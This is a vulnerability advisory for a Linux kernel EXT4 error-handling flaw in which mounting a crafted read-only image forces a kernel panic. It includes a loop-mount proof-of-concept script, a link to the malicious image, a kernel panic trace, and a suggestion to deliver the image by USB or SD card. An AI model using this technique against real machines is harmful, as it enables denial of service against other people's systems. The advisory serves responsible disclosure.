OS-S Security Advisory 2016-23

Local DoS: Linux Kernel EXT4 Error Handling (EXT4 calling panic())

Date:	October 31th, 2016
Authors:	Sergej Schumilo, Ralf Spenneberg
CVE:	Not yet assigned
CVSS:	4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:	Critical
Ease of Exploitation:	Trivial
Vulnerability Type:	Error handling leads to conscious panic() call

Abstract:
Mounting a crafted EXT4 image as read-only leads to a kernel panic.
Since the mounting procedure is a privileged operation, an attacker is probably not able to trigger this vulnerability on the commandline. Instead the automatic mounting feature of the GUI via a crafted USB-device is required.

Detailed product description:
We have verified the bug on the following kernel builds:

Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on May, 03th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible disclosure policy.

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1332506

Proof of Concept:
As a proof of concept, we are providing the image that is causing a panic() call. For demonstration purposes a script to mount this filesystem is also attached.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited as a Denial-of-Service remotely by using a USB-device. In this case the attacker must copy this image (e.g. using dd) to a device or storage such as a SD-card which can be set to read-only mode (using the write-protection switch).

Mount-Script:

```
cp ext4_fs_file /tmp/
mkdir /tmp/a
sudo losetup /dev/loop0 /tmp/ext4_fs_file
sudo mount -o ro /dev/loop0 /tmp/a
```

Malicious EXT4-Image (BASE64 Encoded):
https://os-s.net/advisories/OSS-2016-23-image

dmesg-Report:

```
/ # ./mount.sh
```

```
[    11.269750] EXT4-fs (loop0): Unrecognized mount option "" or missing value
[    11.278081] EXT4-fs (loop0): failed to parse options in superblock:
[    11.286825] EXT4-fs: Warning: mounting with data=journal disables delayed allocation and O_DIRECT support!
[    11.295852] EXT4-fs warning (device loop0): ext4_fill_super:3568: fragment/cluster size (0) != block size (1024)
[    11.304393] EXT4-fs (loop0): ext4_check_descriptors: Checksum for group 0 failed (58173!=0)
[    11.317625] EXT4-fs (loop0): revision level too high, forcing read-only mode
[    11.327470] EXT4-fs (loop0): orphan cleanup on readonly fs
[    11.332096] EXT4-fs error (device loop0): ext4_get_group_desc:288: comm mounter: block_group >= groups_count -
block_group = 1023983, groups_count = 1
[    11.353372] Kernel panic - not syncing: EXT4-fs (device loop0): panic forced after error
[    11.353372]
[    11.361499] CPU: 0 PID: 143 Comm: mounter Tainted: G           OE   4.6.0-rc6 #5
[    11.369343] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[    11.378184]  ffff88002155d710 ffff88002103f6f8 ffffffff819fdf81 ffffffffc019e240
[    11.384350]  ffff88002103f7d0 ffff88002103f7c0 ffffffff814643fc 0000000041b58ab3
[    11.390465]  ffffffff82f1fcbb ffffffff81464272 0000000000000000 ffff880000000010
[    11.396134] Call Trace:
[    11.398812]  [<ffffffff819fdf81>] dump_stack+0x63/0x82
[    11.410022]  [<ffffffff814643fc>] panic+0x18a/0x2ef
[    11.415285]  [<ffffffff81464272>] ? set_ti_thread_flag+0xf/0xf
[    11.422216]  [<ffffffff8166d48c>] ? __sync_dirty_buffer+0x14c/0x1a0
[    11.427425]  [<ffffffffc0104e78>] ext4_handle_error.part.190+0x298/0x2e0 [ext4]
[    11.433536]  [<ffffffffc0104fc6>] __ext4_error+0x106/0x1b0 [ext4]
[    11.438436]  [<ffffffffc0104ec0>] ? ext4_handle_error.part.190+0x2e0/0x2e0 [ext4]
[    11.444580]  [<ffffffff8125f36a>] ? vprintk_default+0x5a/0x90
[    11.449308]  [<ffffffff81570fb6>] ? kasan_unpoison_shadow+0x36/0x50
[    11.459341]  [<ffffffff81464823>] ? power_down+0xc4/0xc4
[    11.463704]  [<ffffffff8170752b>] ? proc_alloc_inum+0x8b/0x170
[    11.468337]  [<ffffffff817074a0>] ? __proc_create+0x5a0/0x5a0
[    11.476158]  [<ffffffffc0069cb6>] ext4_get_group_desc+0x1f6/0x2e0 [ext4]
[    11.481386]  [<ffffffffc0103d0c>] ? __ext4_msg+0x13c/0x150 [ext4]
[    11.486315]  [<ffffffffc0077a33>] ext4_read_inode_bitmap+0x23/0x14c0 [ext4]
[    11.491811]  [<ffffffffc007d76f>] ext4_orphan_get+0xff/0x4e0 [ext4]
[    11.501660]  [<ffffffffc0191ffd>] ? ext4_register_sysfs+0x1ad/0x290 [ext4]
[    11.507700]  [<ffffffffc010c9ef>] ? ext4_register_li_request+0xdf/0x740 [ext4]
[    11.515257]  [<ffffffffc01181e6>] ext4_fill_super+0x8936/0x9ab0 [ext4]
[    11.521387]  [<ffffffffc010f8b0>] ? ext4_calculate_overhead+0xd00/0xd00 [ext4]
[    11.532063]  [<ffffffff81a29000>] ? pointer+0xa70/0xa70
[    11.541636]  [<ffffffff8157102e>] ? kasan_kmalloc+0x5e/0x70
[    11.546815]  [<ffffffff8156d04b>] ? __kmalloc+0xeb/0x230
[    11.551595]  [<ffffffff814a3604>] ? register_shrinker+0x84/0x1e0
[    11.558138]  [<ffffffff81a2ad28>] ? snprintf+0x88/0xa0
[    11.562158]  [<ffffffff81a2aca0>] ? vsprintf+0x20/0x20
[    11.566260]  [<ffffffff815c8cf0>] ? ns_test_super+0x60/0x60
[    11.570504]  [<ffffffff815cb8a5>] mount_bdev+0x275/0x320
[    11.574572]  [<ffffffffc010f8b0>] ? ext4_calculate_overhead+0xd00/0xd00 [ext4]
[    11.586625]  [<ffffffffc00cd5e5>] ext4_mount+0x15/0x20 [ext4]
[    11.591910]  [<ffffffff815cce31>] mount_fs+0x81/0x2c0
[    11.597510]  [<ffffffff8161ef5b>] vfs_kern_mount+0x6b/0x330
[    11.604139]  [<ffffffff81626c28>] do_mount+0x428/0x28b0
[    11.608389]  [<ffffffff814c553e>] ? strndup_user+0x4e/0xc0
[    11.612704]  [<ffffffff81626800>] ? copy_mount_string+0x20/0x20
[    11.623559]  [<ffffffff8157102e>] ? kasan_kmalloc+0x5e/0x70
[    11.629014]  [<ffffffff81571352>] ? kasan_slab_alloc+0x12/0x20
[    11.636190]  [<ffffffff815702cf>] ? __kmalloc_track_caller+0xbf/0x210
[    11.641408]  [<ffffffff814c553e>] ? strndup_user+0x4e/0xc0
[    11.645754]  [<ffffffff814c5422>] ? memdup_user+0x42/0x70
[    11.650056]  [<ffffffff81629c45>] SyS_mount+0x95/0xe0
[    11.653852]  [<ffffffff82869a36>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[    11.666389] Kernel Offset: disabled
[    11.670125] Rebooting in 1 seconds..
```